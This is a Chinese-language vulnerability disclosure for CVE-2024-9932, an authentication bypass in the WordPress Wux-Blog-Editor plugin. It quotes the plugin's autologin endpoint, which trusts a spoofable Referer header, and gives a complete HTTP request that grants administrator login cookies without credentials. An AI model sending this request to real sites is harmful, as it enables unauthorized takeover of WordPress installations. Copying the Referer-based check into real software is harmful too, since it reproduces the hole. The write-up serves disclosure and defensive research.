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0x00 前言
Wux-Blog-Editor 是在一个地方编辑来自所有不同WordPress网站的帖子和页面的插件
0x01 漏洞分析&复现
位于 /wp-content/plugins/wux-blog-editor/External_Post_Editor.php 中的 wuxbt_externalAutologin 方法存在前台越权漏洞,只需要传入Referer 为 https://blog.tool.wux.nl/ 即可直接登录管理员账号.
//AUTOLOGIN TO WORDPRESS
function wuxbt_externalAutologin( $request ) {
wuxbt_forceToken();
if($_SERVER['HTTP_REFERER'] != 'https://blog.tool.wux.nl/'){
if($_SERVER['HTTP_REFERER'] == "https://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"){
}
else{
echo"Error code 444";
exit;
}
}
$blogusers = get_users( );
// Array of WP_User objects.
foreach ( $blogusers as $user ) {
if ( in_array( 'administrator', (array) $user->roles ) ) {
// Check if user is already logged in, redirect to account iftrue
if (!is_user_logged_in()) {
// Sanitize the received key to prevent SQL Injections
$received_key = sanitize_text_field($_GET['token']);
// Get the user id thenset the login cookies to the browser
wp_set_auth_cookie($user->ID);
foreach($_COOKIE as $name => $value) {
// Find the cookie with prefix starting with "wordpress_logged_in_"
if(substr($name, 0, strlen('wordpress_logged_in_')) == 'wordpress_logged_in_') {
// Redirect to account page if the login cookie is already set.
echo'Heeft gewerkt, ga naar /wp-admin';
wp_redirect( admin_url() );
exit;
}
}
header("Refresh:1");
echo'Redirecting...';
echo'Laad deze oneindig? Ga dan naar /wp-admin';
} else {
wp_redirect( admin_url() );
exit;
}
}else{
// echo"Error code: 5U70";
}
}
}
add_action('rest_api_init', function () {
register_rest_route('external-post-editor/v2', '/autologin', array(
'methods' => 'GET',
'callback' => 'wuxbt_externalAutologin',
'permission_callback' => '__return_true',
));
});
Payload:
GET /wp-json/external-post-editor/v2/autologin HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Referer: https://blog.tool.wux.nl/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: su_webp=1
Connection: close
可以看到直接添加了管理员的Cookie进去,然后直接访问 /wp-admin 即可进入后台
0x02 胶水下载
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原文始发于微信公众号(星悦安全):WordPress Wux-Blog-Editor 插件存在前台越权漏洞(直接成为管理员) CVE-2024-9932
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
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